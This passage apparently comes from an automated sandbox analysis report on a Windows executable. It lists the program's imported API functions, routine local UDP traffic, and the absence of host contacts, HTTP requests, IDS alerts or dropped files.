• 0x47e4ac SetFocus
• 0x47e4b0 SetCursor
• 0x47e4b4 SetClipboardData
• 0x47e4b8 SetClassLongA
• 0x47e4bc SetCapture
• 0x47e4c0 SetActiveWindow
• 0x47e4c4 SendMessageA
• 0x47e4c8 ScrollWindow
• 0x47e4cc ScreenToClient
• 0x47e4d0 RemovePropA
• 0x47e4d4 RemoveMenu
• 0x47e4d8 ReleaseDC
• 0x47e4dc ReleaseCapture
• 0x47e4e8 RegisterClassA
• 0x47e4ec RedrawWindow
• 0x47e4f0 PtInRect
• 0x47e4f4 PostQuitMessage
• 0x47e4f8 PostMessageA
• 0x47e4fc PeekMessageA
• 0x47e500 OpenClipboard
• 0x47e504 OffsetRect
• 0x47e508 OemToCharA
• 0x47e50c MessageBoxA
• 0x47e510 MessageBeep
• 0x47e514 MapWindowPoints
• 0x47e518 MapVirtualKeyA
• 0x47e51c LoadStringA
• 0x47e520 LoadKeyboardLayoutA
• 0x47e524 LoadIconA
• 0x47e528 LoadCursorA
• 0x47e52c LoadBitmapA
• 0x47e530 KillTimer
• 0x47e534 IsZoomed
• 0x47e538 IsWindowVisible
• 0x47e53c IsWindowEnabled
• 0x47e540 IsWindow
• 0x47e544 IsRectEmpty
• 0x47e548 IsIconic
• 0x47e54c IsDialogMessageA
• 0x47e550 IsChild
• 0x47e554 IsCharAlphaNumericA
• 0x47e558 IsCharAlphaA
• 0x47e55c InvalidateRect
• 0x47e560 IntersectRect
• 0x47e564 InsertMenuItemA
• 0x47e568 InsertMenuA
• 0x47e56c InflateRect
• 0x47e574 GetWindowTextA
• 0x47e578 GetWindowRect
• 0x47e57c GetWindowPlacement
• 0x47e580 GetWindowLongA
• 0x47e584 GetWindowDC
• 0x47e588 GetTopWindow
• 0x47e58c GetSystemMetrics
• 0x47e590 GetSystemMenu
• 0x47e594 GetSysColorBrush
• 0x47e598 GetSysColor
• 0x47e59c GetSubMenu
• 0x47e5a0 GetScrollRange
• 0x47e5a4 GetScrollPos
• 0x47e5a8 GetScrollInfo
• 0x47e5ac GetPropA
• 0x47e5b0 GetParent
• 0x47e5b4 GetWindow
• 0x47e5b8 GetMenuStringA
• 0x47e5bc GetMenuState
• 0x47e5c0 GetMenuItemInfoA
• 0x47e5c4 GetMenuItemID
• 0x47e5c8 GetMenuItemCount
• 0x47e5cc GetMenu
• 0x47e5d0 GetLastActivePopup
• 0x47e5d4 GetKeyboardState
• 0x47e5dc GetKeyboardLayout
• 0x47e5e0 GetKeyState
• 0x47e5e4 GetKeyNameTextA
• 0x47e5e8 GetIconInfo
• 0x47e5ec GetForegroundWindow
• 0x47e5f0 GetFocus
• 0x47e5f4 GetDlgItem
• 0x47e5f8 GetDesktopWindow
• 0x47e5fc GetDCEx
• 0x47e600 GetDC
• 0x47e604 GetCursorPos
• 0x47e608 GetCursor
• 0x47e60c GetClipboardData
• 0x47e610 GetClientRect
• 0x47e614 GetClassNameA
• 0x47e618 GetClassInfoA
• 0x47e61c GetCapture
• 0x47e620 GetActiveWindow
• 0x47e624 FrameRect
• 0x47e628 FindWindowA
• 0x47e62c FillRect
• 0x47e630 EqualRect
• 0x47e634 EnumWindows
• 0x47e638 EnumThreadWindows
• 0x47e640 EndPaint
• 0x47e644 EnableWindow
• 0x47e648 EnableScrollBar
• 0x47e64c EnableMenuItem
• 0x47e650 EmptyClipboard
• 0x47e654 DrawTextA
• 0x47e658 DrawMenuBar
• 0x47e65c DrawIconEx
• 0x47e660 DrawIcon
• 0x47e664 DrawFrameControl
• 0x47e668 DrawFocusRect
• 0x47e66c DrawEdge
• 0x47e670 DispatchMessageA
• 0x47e674 DestroyWindow
• 0x47e678 DestroyMenu
• 0x47e67c DestroyIcon
• 0x47e680 DestroyCursor
• 0x47e684 DeleteMenu
• 0x47e688 DefWindowProcA
• 0x47e68c DefMDIChildProcA
• 0x47e690 DefFrameProcA
• 0x47e694 CreatePopupMenu
• 0x47e698 CreateMenu
• 0x47e69c CreateIcon
• 0x47e6a0 CloseClipboard
• 0x47e6a4 ClientToScreen
• 0x47e6a8 CheckMenuItem
• 0x47e6ac CallWindowProcA
• 0x47e6b0 CallNextHookEx
• 0x47e6b4 BeginPaint
• 0x47e6b8 CharNextA
• 0x47e6bc CharLowerBuffA
• 0x47e6c0 CharLowerA
• 0x47e6c4 CharUpperBuffA
• 0x47e6c8 CharToOemA
• 0x47e6cc AdjustWindowRectEx
Library kernel32.dll:
• 0x47e6d8 Sleep
Library oleaut32.dll:
• 0x47e6e0 SafeArrayPtrOfIndex
• 0x47e6e4 SafeArrayGetUBound
• 0x47e6e8 SafeArrayGetLBound
• 0x47e6ec SafeArrayCreate
• 0x47e6f0 VariantChangeType
• 0x47e6f4 VariantCopy
• 0x47e6f8 VariantClear
• 0x47e6fc VariantInit
Library comctl32.dll:
• 0x47e70c ImageList_Write
• 0x47e710 ImageList_Read
• 0x47e720 ImageList_DragMove
• 0x47e724 ImageList_DragLeave
• 0x47e728 ImageList_DragEnter
• 0x47e72c ImageList_EndDrag
• 0x47e730 ImageList_BeginDrag
• 0x47e734 ImageList_Remove
• 0x47e738 ImageList_DrawEx
• 0x47e73c ImageList_Replace
• 0x47e740 ImageList_Draw
• 0x47e750 ImageList_Add
• 0x47e758 ImageList_Destroy
• 0x47e75c ImageList_Create
• 0x47e760 InitCommonControls
Library comdlg32.dll:
• 0x47e768 GetOpenFileNameA

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

Source Source Port Destination Destination Port
192.168.56.101 51378 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 60123 114.114.114.114 53
192.168.56.101 60384 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 49713 224.0.0.252 5355
192.168.56.101 53237 224.0.0.252 5355
192.168.56.101 53657 224.0.0.252 5355
192.168.56.101 55368 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 58367 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 62318 224.0.0.252 5355
192.168.56.101 65004 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58368 239.255.255.250 3702

HTTP & HTTPS Requests

No HTTP requests performed.

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.